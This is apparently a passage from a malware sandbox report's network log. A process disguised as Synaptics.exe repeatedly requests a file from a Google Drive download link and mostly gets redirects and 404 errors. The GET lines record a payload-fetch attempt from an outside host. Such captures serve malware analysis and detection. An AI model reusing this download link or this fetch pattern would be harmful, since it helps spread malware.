2024-08-05 10:00:40 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 72 67 58 74 7a 54 33 67 4f 5f 33 4d 39 38 62 41 48 49 43 4d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="CrgXtzT3gO_3M98bAHICMA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:40 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49787	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:40 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49788	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:40 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49789	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:40 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49790	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:40 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49794	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:41 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7Z2upAT6-oNXFDE6RYGBYw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49795	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:41 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-C4qkaQitXXwBEy4-YypQNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49798	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:42 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-NJfsqhsHwpgeSSsnHVh1bw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49797	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:42 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ESyUb4tBxYxhG7rNSXmRGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49799	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:43 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:44 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:43 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-eyGUNyn5yLaSlCtazZSFHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNxTLbyZKor6LlIO75v7BGh7236Iv2DbKY8NWBLhJGYp2NykEWgoxwG7mCXeJBQavg-R4o Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:44 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:00:44 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 63 53 36 75 65 4c 77 5f 58 34 48 4c 2d 48 57 42 78 72 73 2d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="NcS6ueLw_X4HL-HWBxrs-Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:44 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49800	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:43 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:44 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:43 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-Kb0q9rD0TXjbW1yzDjXy2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMo2vz90GCtX6tuHQ_zK98P1ZPlmwZnksVgyjE2zWX8DbX6aLrN7beVloES300fTia4O4M Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:44 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:00:44 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 6b 7a 4d 4c 4e 42 6d 4b 4a 77 34 62 66 51 6e 51 56 69 4c 69 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="FkzMLNBmKJw4bfQnQViLiQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:44 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49805	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:44 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-3sdq-pynIDjbpVQmxz80TQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49804	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:44 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-BB-VRJe5FXPf1umdrWSflw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49806	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:44 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49807	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:44 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49814	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=W2uqB3Bc7GTNrrAgUDMBMIS5nEsmtrsHrKwC8y0SBrFwZG-kiHAwVoe-TQn-5Pn7KHVQzcRujHI7ZnRySu20lzzOVYBKjdpvA84cGzwfTPgSbFLaYptl5sz2GWIiJjq3nxldn5Op4TzafXZRWe-jpqp5mW4tNnVqz8so3CzALUE
2024-08-05 10:00:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-B9Hkb79rnPblDw55J2E8jQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri 